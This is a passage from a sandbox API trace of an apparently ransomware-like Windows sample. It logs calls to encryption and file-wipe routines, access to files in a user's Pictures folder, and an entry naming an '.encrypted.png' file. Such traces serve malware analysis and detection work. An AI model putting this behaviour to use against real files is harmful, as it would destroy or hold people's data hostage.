wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.158] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.160] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.163] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.163] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.163] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.163] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.163] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.163] CharLowerBuffW (in: lpsz="byte[65475]", cchLength=0xb | out: lpsz="byte[65475]") returned 0xb [0028.164] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.164] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.164] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.164] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.164] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.164] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.164] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.164] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.165] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.165] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.165] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.165] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.165] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.166] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.166] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.166] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.166] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.167] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.167] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.167] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.167] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.167] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.167] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.167] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.167] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.167] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.167] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8585) returned 1 [0028.167] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.167] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.167] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.167] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2189, lpOverlapped=0x0) returned 1 [0028.167] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.167] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2189, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.167] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8585) returned 1 [0028.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\6T JEVKXg-.encrypted.png\r\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0028.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\6T JEVKXg-.encrypted.png\r\n", cchWideChar=72, lpMultiByteStr=0xe8f4051680, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\6T JEVKXg-.encrypted.png\r\n", lpUsedDefaultChar=0x0) returned 72 [0028.167] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069770*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069770*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x47, lpOverlapped=0x0) returned 1 [0028.168] CloseHandle (hObject=0x188) returned 1 [0028.168] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.168] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.169] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.169] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.169] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.169] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.169] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.170] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.170] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.170] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.170] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\Ds65N6Miylf7v.bmp", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0028.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\Ds65N6Miylf7v.bmp", cchWideChar=63, lpMultiByteStr=0xe8f4051810, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\Ds65N6Miylf7v.bmp", lpUsedDefaultChar=0x0) returned 63 [0028.171] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\Ds65N6Miylf7v.bmp" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\ds65n6miylf7v.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=63, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0028.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=63, lpWideCharStr=0xe8f4067850, cchWideChar=63 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\Ds65N6Miylf7v.bmp") returned 63 [0028.171] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.172] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.172] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.172] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.172] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178700, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.173] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.173] CloseHandle (hObject=0x188) returned 1 [0028.173] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.173] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.173] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.173] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.173] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.173] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.173] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.173] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.173] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.173] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.173] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.173] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.173] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.173] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.173] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.174] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.174] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.174] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.174] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.174] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.174] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.174] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.175] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.175] 